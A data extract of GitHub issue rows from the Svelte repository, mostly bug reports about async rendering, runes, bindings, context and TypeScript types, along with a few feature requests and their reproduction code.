If you use `await` in `<script>` before a binded `$state` variable, an error is thrown:

```
Cannot read properties of undefined (reading 'f')
```

For example, this works:
```svelte
<script>
	import Input from './Input.svelte';

	let value = $state(0);
	let data = await fetch('...');
</script>

<Input bind:value />
```

but this throws an error:
```svelte
<script>
	import Input from './Input.svelte';

	let data = await fetch('...');
	let value = $state(0);
</script>

<Input bind:value />
```

### Reproduction

[REPL](https://svelte.dev/playground/a390f8ee59074b11a461d3aac91a1ffd?version=5.43.2)

### Logs

```shell
Error: Cannot read properties of undefined (reading 'f')

	in <unknown>
	in __wrapper.svelte

    at get (playground:output:3903:22)
    at get value (playground:output:4737:13)
    at eval (playground:output:4622:87)
    at capture_store_binding (playground:output:4572:12)
    at prop (playground:output:4622:36)
    at Input (playground:output:4711:3)
    at App.add_svelte_meta.componentTag (playground:output:4735:10)
    at add_svelte_meta (playground:output:568:11)
    at App (playground:output:4734:3)
    at add_svelte_meta.componentTag (playground:output:4770:27)
```

### System Info

```shell
svelte@5.43.2
```

### Severity

blocking an upgrade",,2025-10-31T14:21:19Z,2025-11-07T22:40:35Z,5
sveltejs/svelte,3573091779,TypeScript incorrectly infers Promise<T> for async $derived.by instead of T,"### Describe the bug

When using $derived.by with an async function in Svelte (with the experimental async flag enabled), TypeScript incorrectly infers the return type as Promise<T> instead of T, even though at runtime the value is the resolved T.

### Reproduction

```svelte
let userId = $state(1);  
  
// TypeScript infers userData as Promise<UserData>  
// But at runtime it's actually UserData  
let userData = $derived.by(async () => {  
  const response = await fetch(`/api/users/${userId}`);  
  return await response.json(); // returns UserData  
});  
  
// Type error: Property 'fullName' does not exist on type 'Promise<UserData>'  
console.log(userData.fullName);
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.6 Ubuntu 24.04.1 LTS 24.04.1 LTS (Noble Numbat)
    CPU: (8) x64 13th Gen Intel(R) Core(TM) i7-13620H
    Memory: 3.69 GB / 7.57 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 22.20.0 - /home/esteban/.nvm/versions/node/v22.20.0/bin/node
    Yarn: 1.22.22 - /home/esteban/.nvm/versions/node/v22.20.0/bin/yarn
    npm: 10.9.3 - /home/esteban/.nvm/versions/node/v22.20.0/bin/npm
    pnpm: 10.17.1 - /home/esteban/.nvm/versions/node/v22.20.0/bin/pnpm
    bun: 1.3.0 - /home/esteban/.bun/bin/bun
  npmPackages:
    svelte: 5.42.3 => 5.42.3
```

### Severity

annoyance",,2025-10-31T01:52:04Z,2025-10-31T05:23:25Z,2
sveltejs/svelte,3572714239,Add a :component selector for easier scoped styling.,"### Describe the problem

Hey everyone,

Sometimes you need to modify the (S)CSS of an existing component without editing its source file. To do that, you typically use the `:global` selector, which allows you to apply styles to class names that are outside the scope of the current component or page.

However, I find that approach inconvenient. If you like keeping things clean and don’t want to use inline styles or, for example, need to use `@media` queries you’d have to wrap the component in a `div` and write something like:

```svelte
<script>
  import MyComponent from ""./Component.svelte""
</script>

<div class=""sample"">
  <MyComponent class=""sample-component""/>
</div>

<style lang=""scss"">
  .sample {
    display: contents;

    :global(.sample-component) {
      /* styles */

      @media (max-width: 1000px) {
        /* styles */
      }
    }
  }
</style>
```

That ends up being unnecessary boilerplate code.

### Describe the proposed solution

My suggestion is to add a `:component` selector, which would allow you to do the following:

```svelte
<script>
  import MyComponent from ""./Component.svelte""
</script>

<MyComponent />

<style lang=""scss"">
  :component(MyComponent) {
    /* styles */

    @media (max-width: 1000px) {
      /* styles */
    }
  }
</style>
```

### Importance

would make my life easier",,2025-10-30T22:38:37Z,2025-10-30T22:42:47Z,1
sveltejs/svelte,3572470017,Programatically set a `<svelte:boundary>` as pending,"### Describe the problem

It would be nice if the `<svelte:boundary>` had a property (maybe bindable) that could be used to set it as pending when no async work is being done.  I have an auth library that connects to my backend before my site is ready.  I want to show a loading state for this, so I use an `{#if}{/if}` for that.  One of the problems is that the loading spinner has jank because it's rendered twice, once for async work and once for auth loading.  This is undesirable for me.

Another use case would be to trigger the loading spinner during client navigations.

### Describe the proposed solution

```svelte
<script>
    let isPending = $state(false);
</script>
<svelte:boundary bind:{isPending}>
	<p>{await delayed('hello!')}</p>

	{#snippet pending()}
		<p>loading...</p>
	{/snippet}
</svelte:boundary>
```

Something like this would be nice to see.  The boundary would still be pending when async work is done, but also when `isPending` is `true`

### Importance

would make my life easier",,2025-10-30T20:52:08Z,2025-12-17T15:25:38Z,4
sveltejs/svelte,3572397857,Svelte 5.36.0 breaks reactive behaviour after navigating,"### Describe the bug

Since svelte 3.60.0 reactivity seems to break after navigating away from a page and than back.
I've provided an example of the problem in the Reproduction section below.


### Reproduction

See instructions on: [https://stackblitz.com/edit/svelte-5-36-0-problem](https://stackblitz.com/edit/svelte-5-36-0-problem)

In the example you click on a link and the name of that link is shown in the field above.
When navigating away from that page and back, you click again on the links.
The first time you click on the name the field again reactively updates, but the second time (and any time after that) it doesn't update anymore.

On svelte 5.35.7 it still works: [https://stackblitz.com/edit/svelte-5-35-7](https://stackblitz.com/edit/svelte-5-35-7)

### Workaround
Adding `data-sveltekit-reload` to the navigation link forces a full page reload and avoids the issue entirely.
Here's the workaround: [https://stackblitz.com/edit/svelte-5-36-0-workaround](https://stackblitz.com/edit/svelte-5-36-0-workaround)

### Logs

```shell
No feedback is provided in the console.
```

### System Info

```shell
Using Chrome to test.

 System:
    OS: macOS 15.6.1
    CPU: (10) arm64 Apple M1 Max
    Memory: 208.39 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.19.4 - /opt/homebrew/opt/node@20/bin/node
    npm: 10.8.2 - /opt/homebrew/opt/node@20/bin/npm
  Browsers:
    Brave Browser: 141.1.83.118
    Chrome: 141.0.7390.123
    Firefox: 144.0
    Safari: 18.6
  npmPack... [TRUNCATED]",,2025-10-30T20:29:43Z,2025-11-17T18:55:43Z,2
sveltejs/svelte,3571135169,Allow passing custom options to shadow DOM constructor,"### Describe the problem

Currently, the only thing you can pass to shadow DOM contructor is either [`mode: ""open""`](https://github.com/sveltejs/svelte/blob/8ebc3b1337bd12931f5608ab608b9668e10aa6c2/packages/svelte/src/internal/client/dom/elements/custom-element.js#L49) or nothing at all.
https://svelte.dev/docs/svelte/custom-elements#Component-options

This means that you can't create shadow DOM with `closed` shadow root or change any other options of [`attachShadow()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/attachShadow).



### Describe the proposed solution

Instead of passing only `""none""` to the `shadow` custom element option, allow passing the whole [`options`](https://developer.mozilla.org/en-US/docs/Web/API/Element/attachShadow#options) object, which would be then passed to `attachShadow()`.

This would allow changing shadow root mode to `closed` and would also allow you to customize all the other options.

This would probably be considered a breaking change for everyone already using `shadow: ""none""`, so you should be able to still pass either:
- `shadow: ""none""` or `shadow: ""open""` - to maintain backwards compatibility
- something like `shadow: { mode: 'closed', clonable: false }` (or any other options)

### Importance

nice to have",custom element,2025-10-30T14:43:35Z,2026-01-28T00:37:28Z,1
sveltejs/svelte,3569350019,5.43.0: Using `await` with `@const` in a boundary with no `pending` snippet causing every elements to be doubled,"### Describe the bug

Before this, I used `const foo = $derived(await getFoo());` in the script tag. However, this causes every dropdown elements to not function. In an attempt to fix the issue, I move it down to the markup section using `@const` and now everything is displayed twice. It seems one version is from SSR and non-interactive and the other is from hydration.

### Reproduction
```js
//test.remote.ts
import { query } from '$app/server';
export const getFoo = query(() => 'foo');
```
```html
<script lang=""ts"">
	import { getFoo } from './test.remote.js';
</script>

<svelte:boundary>
	{@const foo = await getFoo()}
	<p>Everything here is doubled</p>
	<button class=""border"" onclick={() => console.log(""I'm clickable"")}>
		Click me and check log
	</button>
</svelte:boundary>
```
https://www.sveltelab.dev/re9l2v5211tgm03

### Logs

```shell

```

### System Info

```shell
svelte@5.43.0
kit@2.48.3
```

### Severity

blocking an upgrade",,2025-10-30T08:00:09Z,2025-11-17T15:18:22Z,2
sveltejs/svelte,3569273808,Async component rendering bug with #each,"### Describe the bug

The rendered state doesn't update. Not sure what the exact issue is. 

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.0#H4sIAAAAAAAAE3WQwU7DMAyGXyUyaBoSopxDO4m9wo7rDm7rQqQsqRq3A1V7d5ykGjtAckji__vtX1nA4ZlAQ5jJMqlm-oBn6I2lAPq4AH8PUY0Fqa_s-zC8ZF5qDQb6q956x-RY2kAZ2tEMvKudkmWJ1Yx2IlWpx8DItK2j1VINT2-1y5TYA6ve-0h1NJqZui1e0KzmSP5yDY73XLJV1Tpms1HH11M0lMUtiTwCWWrFa1ynE7kGLP3Axrvsrm7Zduksi6z-w-7RyRY4X-5omZ3mpdnLA2H7GWNfc59D0qhT_TgZ1mpJDUVcikjKRb6U6YtB8yjCSV5o7EWyg-7RBrr-AEdFfk7LAQAA)

```svelte
<script>
    let value = $state(""Apple"");

    const foo = $derived(await value);
    const bar = $derived(foo === value && [0]);
</script>

<select bind:value>
    <option value=""Apple"">Apple</option>
    <option value=""Banana"">Banana</option>
</select>

{#each bar}
    Selected fruit: {value}
{/each}

```

### Logs

```shell
```

### System Info

```shell
Svelte playground
```

### Severity

annoyance",,2025-10-30T07:30:31Z,2025-11-16T17:35:35Z,0
sveltejs/svelte,3568099586,Closing script tag in comment causes error,"### Describe the bug

Including ""</script>"" in a comment leads to an error, either ""`</script>` attempted to close an element that was not open"" or ""Unterminated comment"", depending on whether a single or multiline comment was used. This is an issue because certain libraries (eg [Runed](https://github.com/svecosystem/runed/blob/main/packages/runed/src/lib/utilities/debounced/debounced.svelte.ts)) include script tags in examples in jsdoc comments.

From some testing it looks like this issue only manifests in code in node_modules when `svelte-preprocess` is used.

### Reproduction

https://svelte.dev/playground/54541fdd150141188a698ae9f9d38f0c?version=5.43.0

### Logs

```shell
Single line comment:
Error: Unterminated comment

Multiline comment:
`</script>` attempted to close an element that was not open
```

### System Info

```shell
REPL with svelte v5.43.0
```

### Severity

annoyance",,2025-10-29T22:09:30Z,2025-10-29T22:20:04Z,4
sveltejs/svelte,3571127963,`params` becomes empty object (`{}`) after any async work,"### Describe the bug

`params` becomes `{}` after any async work

```svelte
<script>
  const { params } = $props();

  console.log(params); // { slug: 'test-1' }
  await Promise.resolve()
  console.log(params); // {}
</script>
```

This bug was introduced in 5.42.0. Still present in 5.43.0

### Reproduction

Steps to reproduce:
1. Open the browser console
2. Hover either link and observe the console

https://stackblitz.com/edit/sveltejs-kit-template-default-b5xxkxnj?file=src%2Froutes%2F%2Bpage.svelte,src%2Froutes%2F[slug]%2Ftest.remote.ts,src%2Froutes%2F[slug]%2F%2Bpage.svelte

### Logs

```
✅ First remote function call:
test-1

❌ Second remote function call, with the same parameter:
Remote function schema validation failed: [
  {
    kind: 'schema',
    type: 'string',
    input: undefined,
    expected: 'string',
    received: 'undefined',
    message: 'Invalid type: Expected string but received undefined',
    requirement: undefined,
    path: undefined,
    issues: undefined,
    lang: undefined,
    abortEarly: undefined,
    abortPipeEarly: undefined
  }
]
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.42.0 => 5.43.0 
    @sveltejs/kit: 2.48.3 =... [TRUNCATED]",,2025-10-29T18:47:31Z,2025-11-03T20:02:10Z,4
sveltejs/svelte,3566589558,resolve type error,"### Describe the bug

`goto(resolve(`/catalog?${searchParam.toString()}`)`
is there some solution not to disable ESlint error // @ts-expect-error

### Reproduction

generic error message

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (16) x64 AMD Ryzen 7 2700X Eight-Core Processor
    Memory: 3.08 GB / 15.95 GB
  Binaries:
    Node: 22.13.1 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - C:\Users\tihom\AppData\Roaming\npm\yarn.CMD
    npm: 11.6.2 - C:\Program Files\nodejs\npm.CMD
    pnpm: 10.18.3 - C:\Users\tihom\AppData\Roaming\npm\pnpm.CMD
    bun: 1.3.1 - C:\Users\tihom\.bun\bin\bun.EXE
    Deno: 2.0.2 - C:\Users\tihom\.deno\bin\deno.EXE
  Browsers:
    Chrome: 141.0.7390.123
    Edge: Chromium (141.0.3537.92)
    Internet Explorer: 11.0.26100.1882
```

### Severity

annoyance",,2025-10-29T15:28:24Z,2025-10-30T12:15:51Z,0
sveltejs/svelte,3566287958,Cannot migrate `page` to `app-state` in module-level `derived`,"### Describe the bug

I am finishing migrating our project to Svelte 5 and I noticed that we need to migrate `page` from `$app/stores` to `$app/state`.

However, this causes an issue with `derived` stores in a TS module. In fact, `page` is not `Readable` anymore, so, it does not trigger any reactivity.

And it cannot be completely migrated to being consumed in each components, since there are other `derived` depending on the first `derived`, and so on and so forth.

It seems to be kind of a feature loss, or maybe is it an unexpected usage? What is the official migration guide here?

### Note

I had raised the same issue with the migration script, but it was ultimately dismissed without a proper solution or guide. See https://github.com/sveltejs/svelte/issues/16758

### Reproduction


Before

```ts
// ./nav.derived.ts

import { page } from '$app/stores';
import { derived, type Readable } from 'svelte/store';

export const routeCollection: Readable<string | undefined | null}> = derived(
	[page],
	([
		{
			data: { collection }
		}
	]) => collection
);
```


After

```ts
// ./nav.derived.ts

import { page } from '$app/state';
import { derived, type Readable } from 'svelte/store';

export const routeCollection: Readable<string | undefined | null}> = derived(
	[page], // <---- Property subscribe is missing in type [...] but required in type Readable<any>
	([
		{
			data: { collection }
		}
	]) => collection
);
```

### System Info

```shell
System:
    OS: macOS 26.0.1
    CPU: (1... [TRUNCATED]",,2025-10-29T14:29:18Z,2025-10-30T07:00:01Z,11
sveltejs/svelte,3564308807,Async component with $bindable causes rune_outside_svelte error,"### Describe the bug

When a component uses a `$bindable` prop and also uses top-level `await` in the `<script />` it causes  rune_outside_svelte error

This bug was introduced in 5.43.0

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-3jkmgudh?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
Svelte error: rune_outside_svelte
The `$bindable` rune is only available inside `.svelte` and `.svelte.js/ts` files
https://svelte.dev/e/rune_outside_svelte
    at Module.rune_outside_svelte (/home/projects/sveltejs-kit-template-default-3jkmgudh/node_modules/svelte/src/internal/client/errors.js:436:17)
    at get (/home/projects/sveltejs-kit-template-default-3jkmgudh/node_modules/svelte/src/index-client.js:63:28)
    at eval (/home/projects/sveltejs-kit-template-default-3jkmgudh/src/routes/Component.svelte:22:51)
    at eval (/home/projects/sveltejs-kit-template-default-3jkmgudh/node_modules/svelte/src/internal/server/renderer.js:164:13)

Node.js v20.19.1
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.43.0 => 5.43.0
```

### Severity

annoyance",,2025-10-29T04:36:31Z,2025-10-30T12:51:24Z,4
sveltejs/svelte,3562012946,Change to function head breaks ssr snapshots,"### Describe the bug

Hi, the change from here

https://github.com/sveltejs/svelte/pull/17052/files#diff-e8cd30cfb0931b1ce87fcfc5d783f30effd1334222b69437f33e32eccbf48faaR74

introduced in

https://github.com/sveltejs/svelte/pull/17052

breaks ssr snapshots.

It would be cool if we could introduce a compiler option to make hashes in test environment stable in a similar way to cssHash option.

### Reproduction

create serverside rendered app.
and snapshot ssr rendered result

### Logs

```shell

```

### System Info

```shell
vitest@3 svelte v5.42.3
```

### Severity

annoyance",,2025-10-28T15:02:45Z,2025-10-28T15:14:05Z,1
sveltejs/svelte,3561598943,handle_event_propagation breaks due to fact that delegate is an array,"### Describe the bug

Hi,

the change in this commit

https://github.com/sveltejs/svelte/pull/17030/files#diff-e0947e41d13f3575875c7158bc594ec03de070b6d687220f6ca84e23336f70eaR261

<img width=""1610"" height=""196"" alt=""Image"" src=""https://github.com/user-attachments/assets/a5b43256-dcf0-4df8-a849-c79a2e8554b4"" />

Breaks i a use case where 

the event is added inside of a web component created with svelte >= v5.42.3
and also from another bundle which renders the webcomponent with svelte < 5.42.3 (propbably).

so something like this:

```svelte
<my-element onclick={()=>console.log(""hi"")}>
```

Where ""my-element"" is a web-component created with svelte

In this case the call to

```js
delegate.call()
```

breaks with error ""delegate.call is not a function""

<img width=""365"" height=""284"" alt=""Image"" src=""https://github.com/user-attachments/assets/dc888660-024f-4d76-a0f3-5e6a46296dfa"" />



### Reproduction

Create a webcomponent with latest svelte, which also binds a ""click"" event to its ""host"" element, and bundle it.
Create a svelte app which uses the webcomponent and use `onclick` to bind the event on the custom-element.

Click on the element

Error arises.

### Logs

```shell

```

### System Info

```shell
Latest Chrome, Edge, Firefox, Safari
```

### Severity

blocking an upgrade",,2025-10-28T13:32:29Z,2026-02-13T21:47:18Z,2
sveltejs/svelte,3561240994,Is this `binding_property_non_reactive` really correct?,"### Describe the bug

Using Svelte (v5.42.3) and Svelte Kit (v2.48.2) and `@tanstack/svelte-query` (v6.0.3).

If I have the component `Player.svelte`:

```svelte
<script lang=""ts"">
    import { createQuery } from '@tanstack/svelte-query';

    const playerStore = createQuery(() => ({
        queryKey: ""key"",
        queryFn: playerById(page.params.player_id),
    }));

    let { data: player } = $derived(playerStore);
</script>

<FormPlayers bind:player={player} />
```

and `FormPlayers.svelte`:

```svelte
<script lang=""ts"">
    type Props = {
        player: Player;
    };

    let {
        player = $bindable(),
    }: Props = $props();
</script>

{#each player.skills as skill, index (skill.id)}
    <FormPlayerSkill bind:skill={player.skills[index]} />
{/each}
```

and `FormPlayerSkill.svelte`:

```svelte
<script lang=""ts"">
    type Props = {
        skill: PlayerSkillInput;
    };

    let {
        skill = $bindable()
    }: Props = $props();
</script>

<Date bind:date={skill.date} />
```

I get the error:

```
FormPlayers.svelte:77 [svelte] binding_property_non_reactive
`bind:skill={player.skills[index]}` (src/routes/players/FormPlayers.svelte:40:4) is binding to a non-reactive property
https://svelte.dev/e/binding_property_non_reactive
```

Why?

Isn't the `let { data: player } = $derived(playerStore)` assignable / bindable / editable / ""Sveltable""?

### Reproduction

https://svelte.dev/playground/2c859a9c620b4b9a8422c2596df4c209?version=5.42.3

I need to use `let {data... [TRUNCATED]",,2025-10-28T11:59:10Z,2025-10-28T17:30:38Z,3
sveltejs/svelte,3558536918,Pending async effects breaking synchronous state/effects,"### Describe the bug

When I have pending async work happening (e.g. mounting an async component) I am getting strange and erroneous results while modifying state elsewhere.

See the reproduction for examples.

### Reproduction

Reproduction: https://svelte.dev/playground/c0f672d625bb47f28808234647d8a5f3?version=5.42.2

This example contains a list of incrementing numbers which can be added to by clicking the button. Each list item will also cause an async component to be rendered.

If you rapidly click the ""Add to list"" button you will be appending to the list while async work in happening from mounting new the components.

When rapidly clicking you will observe

1) The original list will temporarily have gaps in it
2) The derived list showing the type of each element will have `undefined` where the gaps are

<img width=""607"" height=""59"" alt=""Image"" src=""https://github.com/user-attachments/assets/d73c44ef-bde1-4233-9bda-09bfb1a52e9a"" />

3) The printed results should eventually reconcile
4) Printing the lists as a text expression `{list}` gives different results than printing inside of an `#{each}` block until the results reconcile

The primary issue here is (1) (and by extension (2)) where we temporarily have incorrect records. In the real world this leads to unexpected errors such as trying to access properties of `undefined`.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
    CPU: (12) x64 AMD Ryzen 5 2600 Six-Core Processor
    ... [TRUNCATED]",,2025-10-27T20:30:21Z,2026-03-18T16:43:19Z,1
sveltejs/svelte,3557697404,"Collection of bugs with async svelte & bits-ui & more (in a more ""complex app"")","### Describe the bug

I mostly explain things in [this video](https://youtu.be/DkE32Zk-ca0). TLDR; it is about issues with async waterfalls, components like dialogs or dropdowns not working, hydration mismatches and more.

### Reproduction

Here is the repo (the most up to date is on the dev branch): https://github.com/nevthereal/pontiq

### Logs

```shell
[svelte] hydration_mismatchHydration failed because the initial UI does not match what was rendered on the serverhttps://svelte.dev/e/hydration_mismatch
warn @ client.js?v=a27e462a:3196
hydration_mismatch @ chunk-S6PZDPR6.js?v=a27e462a:90
read_hydration_instruction @ chunk-RTJCWWVW.js?v=a27e462a:4200
update_branch @ chunk-SCHCC7HL.js?v=a27e462a:717
(anonymous) @ chunk-SCHCC7HL.js?v=a27e462a:737
update_reaction @ chunk-RTJCWWVW.js?v=a27e462a:3288
update_effect @ chunk-RTJCWWVW.js?v=a27e462a:3418
create_effect @ chunk-RTJCWWVW.js?v=a27e462a:2763
block @ chunk-RTJCWWVW.js?v=a27e462a:2915
if_block @ chunk-SCHCC7HL.js?v=a27e462a:730
(anonymous) @ bits-ui.js?v=a27e462a:2353
add_svelte_meta @ chunk-RTJCWWVW.js?v=a27e462a:547
Presence_layer @ bits-ui.js?v=a27e462a:2352
(anonymous) @ chunk-SCHCC7HL.js?v=a27e462a:298
update_reaction @ chunk-RTJCWWVW.js?v=a27e462a:3288
update_effect @ chunk-RTJCWWVW.js?v=a27e462a:3418
create_effect @ chunk-RTJCWWVW.js?v=a27e462a:2763
branch @ chunk-RTJCWWVW.js?v=a27e462a:2922
(anonymous) @ chunk-SCHCC7HL.js?v=a27e462a:292
update_reaction @ chunk-RTJCWWVW.js?v=a27e462a:3288
update_effect @ chunk-RTJCWW... [TRUNCATED]",,2025-10-27T16:49:13Z,2025-11-06T10:47:40Z,16
sveltejs/svelte,3563016750,experimental `fork` API loads `<title>` prematurely,"### Describe the bug

When hovering a link, if the link destination changes the page title, the title will be changed on hover instead of on navigation.

Requires the `experimental.async` option, but not necessarily the `experimental.remoteFunctions` option.

### Reproduction

https://github.com/zqianem/sveltekit-fork-title-bug

### Logs

```Shell

```

### System Info

```Shell
npmPackages:
    @sveltejs/adapter-auto: ^6.1.0 => 6.1.1 
    @sveltejs/kit: ^2.43.2 => 2.48.0 
    @sveltejs/vite-plugin-svelte: ^6.2.0 => 6.2.1 
    svelte: ^5.39.5 => 5.42.2 
    vite: ^7.1.7 => 7.1.12
```

### Severity

blocking an upgrade

### Additional Information

_No response_",,2025-10-26T23:57:12Z,2025-10-31T06:17:13Z,3
sveltejs/svelte,3554526125,Lost Access to params when using async derived on top level component with remote functions,"### Describe the bug

I have an error since updated svelte and sveltekit today, 
When hovering links who will render components who depends on a top level async derived which depends on page params, we doesn't have acces to the params of the pages (see example provided)

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-ldnx8tyj?file=src%2Froutes%2F%2Bpage.svelte

note de .remote file and the page who depends on that behind a param

### Logs

```shell
Uncaught (in promise) 
HttpError {status: 500, body: {…}}
body
: 
message
: 
""no param ?""
: 
Object
status
: 
500
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.39.5 => 5.42.2
```

### Severity

blocking an upgrade",,2025-10-26T22:49:17Z,2026-03-16T20:46:15Z,3
sveltejs/svelte,3553307485,Better ergonomics for the `{@const...}` syntax,"### Describe the problem

Now that the async and remote function features have been pushing variable declaration into the markup section even more than before, I more than often need to declare multiple of them. However, a pair of parentheses only allows one at a time:
```js
{@const foo =await fn1()}
{@const bar = await fn2()}
{@const fooDerivative = doSomething(foo)}
{@const barDerivative = doSomethingElse(bar)}
{@const baz = combine(fooDerived, barDerived)
//etc
```
It's a minor issue but kinda annoying. Doesn't feel like I'm writing js anymore. 
Habitual key sequence: `;` + `Enter` + `const`. 
Now it requires: `Shift+]` + `Enter` + `Shift+[` + `@` + `const`;

### Describe the proposed solution

I'm not sure what the solution should look like. Should it be allowed to move everything back to the `script` section but avoid the waterfall issue with consecutive `await`? Should it be a new section where we can write JS freely like `<script markup` (similar to `<script module`)? I remember the days when Svelte was sold as just vanilla html, JS, and css with a sprinkle of magic on top of them. Now it's functionally better but doesn't feel like  so anymore.

### Importance

nice to have",,2025-10-26T05:26:40Z,2025-10-26T07:48:42Z,1
sveltejs/svelte,3551963202,[bug] Bad rendering using await in component,"### Describe the bug

Hi,

When testing await in the script tag of a component, I found a bug that I can't understand.
I don't know if this is really a bug or if I'm doing something wrong.


I'm simply using an `await` to simulate an `async` load in my components, which I display via an `{#each}` on my main component, with an ""add one value"" button to add an element.

* there is no problem if I add the elements one by one, waiting for them to load
* but if I click the button multiple times, the rendering may be broken : 
    * On a non-keyed `{#each}`, some component are not correctly rendered (no children), and others are missing
    * On a keyed `{#each}`, there are even more missing components!

Exemple (there should be 10 numbered circles on each line) : 
<img width=""442"" height=""218"" alt=""Image"" src=""https://github.com/user-attachments/assets/a31df9af-4f29-4a99-89e5-cd02adcd1ce1"" />



### Reproduction

Reproduction : 
https://svelte.dev/playground/c7e416c4b97446468ee85f3abf4bc676?version=5.41.4

### Logs

```shell
No error
```

### System Info

```shell
REPL with Svelte 5.41.4
```

### Severity

annoyance",,2025-10-25T06:52:26Z,2025-11-16T17:35:34Z,1
sveltejs/svelte,3551475895,`Cannot read properties of undefined (reading 'call')` when using a local npm package,"### Describe the bug

Context: I am working on publishing a Svelte component to NPM, and I wanted to test it locally first.

I added a dependency that looks like this: `""myrandompackage"": ""file:../somepath`.

Then, I compiled the project using Rollup. It worked fine. 

When I opened the page, I got this error:  `Cannot read properties of undefined (reading 'call')`:

<img width=""518"" height=""157"" alt=""Image"" src=""https://github.com/user-attachments/assets/79f6a38c-62d9-4839-9582-765c58f2f77f"" />

### Reproduction

Here's the repo: https://github.com/tanin47/bug-svelte-17032

### Logs

```shell

```

### System Info

```shell
$ npx envinfo --system --npmPackages svelte,rollup,webpack --binaries --browsers                                                                                                               6:16PM

  System:
    OS: macOS 15.6.1
    CPU: (14) arm64 Apple M4 Max
    Memory: 235.78 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - /Users/tanin/.nvm/versions/node/v22.18.0/bin/node
    npm: 10.9.3 - /Users/tanin/.nvm/versions/node/v22.18.0/bin/npm
  Browsers:
    Chrome: 141.0.7390.123
    Safari: 18.6
  npmPackages:
    rollup: 4.52.5 => 4.52.5
    svelte: 5.41.4 => 5.41.4
    webpack: 5.102.1 => 5.102.1
```

### Severity

blocking all usage of svelte",,2025-10-25T01:21:12Z,2025-10-25T06:04:27Z,2
sveltejs/svelte,3549493629,Rendering issues since 5.41.2,"### Describe the bug

Version 5.41.2 of Svelte introduced multiple rendering issues in my App. The app uses async svelte. It was pretty time consuming to create a reproduction and I hope it's ok the way I did. The app works as expected with Svelte 5.41.1

### Reproduction

https://github.com/cnolte/render-issue

Run the app then click on Pricing and then on Partnerships. The menu button for Partnerships won't be selected. When you refresh the page or you first click on Partnerships you'll see that it is selected.

### Logs

```shell

```

### System Info

```shell
See provided App
```

### Severity

blocking an upgrade",,2025-10-24T13:23:04Z,2025-11-06T10:47:40Z,5
sveltejs/svelte,3549067063,assignment to undeclared variable in .svelte.(js|ts) gives strange error,"### Describe the bug

Reported [here](https://bsky.app/profile/nuqayah.bsky.social/post/3m3wpmyyph22p) — if you have an assignment to an undeclared variable, it says you can't assign to `$props.id()`. Which is weird.

Most of the time this _will_ error because modules are automatically in strict mode. But if you're assigning to something on `globalThis` then it should work just fine. Either way, the error is very confusing

### Reproduction

https://svelte.dev/playground/c274ec44155c4dab8f9501b591a17d3c?version=5.41.3",,2025-10-24T11:47:55Z,2025-10-25T21:46:59Z,0
sveltejs/svelte,3546278463,createContext is not exported from the types,"### Describe the bug

trying to use the new createContext but it giving this typescript error
`'""svelte""' has no exported member named 'createContext'. Did you mean 'getContext'? (ts 2724)`

### Reproduction

just try to import it using svelte 5.40.0

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 AMD Ryzen 7 7800X3D 8-Core Processor
    Memory: 15.65 GB / 31.10 GB
  Binaries:
    Node: 22.13.1 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.2 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Chrome: 141.0.7390.108
    Edge: Chromium (141.0.3537.57)
```

### Severity

blocking an upgrade",awaiting submitter,2025-10-23T19:39:33Z,2025-10-23T19:56:27Z,2
sveltejs/svelte,3545036853,bug: context not usable with async svelte,"### Describe the bug

Im 95% sure this is a bug, if not then docs.

Our app uses context extensively and i have been trying to migrate a few screens to try async/remote functions.

i had hoped something like this would work

```svelte
<script lang=""ts"">
  //...
  const comments = $derived(await getProjectComments({ projectId }));
  const commentsCtx = createVisibleCommentsContext(() => comments);
</script>   

<SomeComponentThatRendersCommentsInHereSomeWhere />
```
but unfortunately this leads to the following error `https://svelte.dev/e/set_context_after_init`, when reading this my assumption was all `setContext` must come before async work in a component. so i refactored the above code to 

```svelte
<script lang=""ts"">
  //...
  const comments = $derived(await getProjectComments({ projectId }));
</script>   

<VisibleCommentContext {comments} >
  <SomeComponentThatRendersCommentsInHereSomeWhere />
</VisibleCommentContext>
```
or
```svelte
<script lang=""ts"">
  //...
</script>   

<VisibleCommentContext {await getProjectComments({ projectId })} >
